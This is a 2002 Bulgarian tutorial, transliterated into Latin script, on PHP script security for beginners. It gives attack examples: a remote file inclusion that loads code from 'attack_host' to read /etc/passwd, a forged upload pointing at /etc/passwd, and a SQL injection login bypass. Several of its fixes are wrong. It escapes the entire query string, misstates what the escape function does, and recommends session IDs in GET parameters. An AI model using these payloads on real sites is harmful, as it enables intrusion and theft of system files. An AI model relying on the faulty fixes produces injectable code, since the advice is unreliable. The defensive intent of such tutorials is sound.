ot Dimitur Dimitrov(11-02-2002)
reiting (10)
[ dobre ]
[ zle ]
Variant za otpechatvane
Mnogo chesto chastta "sigurnost" se prenebregva pri
skriptiraneto, no mislia, che
tova e edin ot nai-vazhnite momenti pri pisaneto na edin
skript.
Tazi statiia e predimno za nachinaeshtite php programisti (edva
li bi mogla da iznenada s neshto po-opitnite), tia ne mozhe da
pretendira za izcherpatelnost
ili pulnota, no mozhe da dade osnovni poznaniia za tova kak
da pishem po-chist i zashtiten kod.
-------------------------------------------
0. Proverka na dannite.
Tazi preporuka e postavena pod "0", zashtoto tia e
prosto zadulzhitelna, izpulnenieto bi
predotvratilo po-goliamata chast ot opitite za ataka.
VINAGI proveriavaite poletata, populvani ot potrebitelite.
Naprimer:
potrebitelsko ime - samo bukvi, tsifri i dolno tire
telefonen nomer: - samo tsifri.
if(preg_match("/^[a-zA-Z0-9_]{3,12}$/",$Username)){
//OK
-------------------------------------------
1. Atributut ACTION na tagut FORM
Nikoga ne zadavaite pulniia put, a otnositelniia.
Po tozi nachin formata vinagi shte se submitva kum fail ot
vashiia survur.
<FORM METHOD="POST"
ACTION="dir/test.php"> - pravilno
<FORM METHOD="POST" ACTION="http://server/dir/test.php"> -
nepravilno
Ako iskate formata da se submitva kum tekushtiia fail (t.e.
tozi koito ia sudurzha),
izpolzvaite tova:
<FORM METHOD="POST"
ACTION="<?=$PHP_SELF;?>">
Predefiniranata promenliva $PHP_SELF sudurzha otnositelniia
put na tekushtiia fail.
-------------------------------------------
2. Globalni promenlivi.
Nai-chesto izpolzvanite masivi ot programistite, v koito se
sudurzhat stoinostite i imenata na globalnite
promenlivi sa:
$HTTP_POST_VARS - za izpratenite danni chrez POST
metoda
$HTTP_GET_VARS - za izpratenite danni chrez GET metoda
$HTTP_SESSION_VARS - za definiranite sesiini promenlivi
Ako imame promenlivata test, izpratena primerno prez
POST:
<INPUT TYPE=TEXT NAME="test"
VALUE="value1">
i sushtata promenliva, izpratena prez GET:
http://server/script.php?test=value2
mozhem da razlichim dvete promenlivi po sledniia nachin:
test1=$HTTP_POST_VARS["test"] -
stoinost=value1
test2=$HTTP_GET_VARS["test"] -
stoinost=value2
Tochnoto opredeliane na tova ot koi ot tezi masivi e dadena
promenliva bi predotvratilo ataki ot sorta:
<INPUT TYPE=HIDDEN NAME="UserType"
VALUE="Moderator"> - POST
http://server/script.php?UserType=Moderator -
GET
Reshenie: v nachaloto na php skripta opredeliaite promenlivite
taka:
$test=$HTTP_POST_VARS["test"];
$Username=$HTTP_SESSION_VARS["Username"];
-------------------------------------------
3. Upload na failove
<FORM METHOD="POST"
ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE"
NAME="Userfile">
<INPUT TYPE="Upload">
</FORM>
Kogato pravite upload na fail, se predavat slednite
dopulnitelni promenlivi:
$Userfile_size - razmer na faila
$Userfile_type - tip na faila - tekst, izobrazhenie...
$Userfile_name - deistvitelno ime na faila
Atakuvashtiia bi mogul da opita neshto takova:
http://server/upload.php?Userfile=/etc/passwd&Userfile_size=10240&Userfile_type=text/plain&Userfile_name=some_file.jpg
Reshenieto se svezhda do reshenieto na t.2 - Globalni
promenlivi.
-------------------------------------------
4. Include na failove.
Programistut mozhe da ima nepriiatnosti, kogato vklyuchva
failove po sledniia nachin:
<?php include($dir . "/script.php");?>
Neka tozi URL na faila, koito izpolzva gorniia kod za
include da e: http://host/index.php
Eto kakvo bi probval atakuvashtiia:
Bi napravil edin fail, narechen script.php na sobstveniia si
survur, sudurzhasht primerno sledniia kod:
<?php readfile("/etc/passwd");
Neka tozi URL na fail da e: http://attack_host/hack/script.php
Sledvashta stupka:
Podavane na "pravilnata" direktoriia:
http://host/index.php?dir=http://attack_host/hack/
Po tozi nachin shte bude vklyuchen failut ot http://attack_host/hack.
Reshenie: v /etc/php.ini zabranete izpolzvaneto na failove,
vunshni za vashiia survur:
allow_url_fopen = Off
Zadaite "tvurdo" vuzmozhnite direktorii primerno v
masiv taka:
$Dirs=array('dir1','dir2',...);
Posle proveriavaite dali promenlivata suvpada s niakoia ot
masiva:
if(in_array($dir,$Dirs)){include($dir .
"/script.php");}
else{exit();}
-------------------------------------------
5. Razglezhdane sudurzhanieto na direktoriia.
Ako niamate vuzmozhnost da zabranite razglezhdaneto na dadena
direktoriia, napravete fail index.php:
<? header("Location: http://host/index.php");
?>
Tova shte prenasochi atakuvashtiia kum nachalnata stranitsa.
-------------------------------------------
6. Razshireniia
Nikoga ne ostaviaite failove na survura si s razshireniia,
razlichni ot ustanovenite za php.
CHest primer sa failovete za include:
/inc_dir/include.inc - greshno
/inc_dir/include.inc.php - pravilno
-------------------------------------------
7. Zaiavki kum bazi danni.
Tova e edna ot nai-chesto sreshtanite greshki, vinagi triabva da
se proveriava zaiavkata.
Tui kato nai-chesto sreshtanata kombinatsiia e php + mysql, eto
kak mozhe da stane tova:
$Query="SELECT Username FROM Users WHERE
...";
$Query=mysql_escape_string($Query);
Po tozi nachin vsichki potentsialno opasni simvoli kato - i /
se "obezvrezhdat": / = //; - = /-
Eto edin primer za ataka:
Imame forma za vuvezhdane na ime (Username) i
parola(Password).
Obiknoveno nachinut za proverka dali edin potrebitel e vuvel
pravilno imeto si i parolata e sledniia:
SELECT ID,Username FROM Users WHERE
UserName='$LoginUsername' and
Password=PASSWORD('$LoginPassword')
Kogato se vurne tochno edin red, tova oznachava pravilno
logvane.
Atakuvashtiia na bazata na predpolozheniia bi probval da vuvede
v poleto za potrebitelsko ime slednoto:
Admin';--
poslednite dva znaka v mysql oznachavat komentar.
Zaiavkata se preobrazuva do slednoto:
SELECT ID,Username FROM Users WHERE UserName='Admin'; --
tova veche e komentar ->' and
Password=PASSWORD('$LoginPassword')
Ideiata e iasna.
-------------------------------------------
8. Sesiini promenlivi.
Dobra ideia spored men e predvaneto na ID na sesiiata po GET
metoda i registriraneto na sushtoto tova ID kato sesiina
promenliva. Sled tova mozhete da napravite sravnenie mezhdu
tezi dvete:
if($UserName and
$HTTP_SESSION_VARS["SID"]==$HTTP_GET_VARS["SID"]){
//OK
-------------------------------------------
Nadiavam se, che statiiata e pomognala pone malko na niakoi,
sushto taka se nadiavam, che tia ne e stanala prichina za
"razbivaneto" na niakoi sait :).
Avtor: Dimitur Dimitrov, 11/2/2002
http://mitko.infotech.bg, mitko@stud.ru.acad.bg
<< Kak da ogranichim Dial-up po trafik kato izpolzvame ICRadius | Kak da gledame DVB-televiziia s "Budget"-karta i LIRC >>
|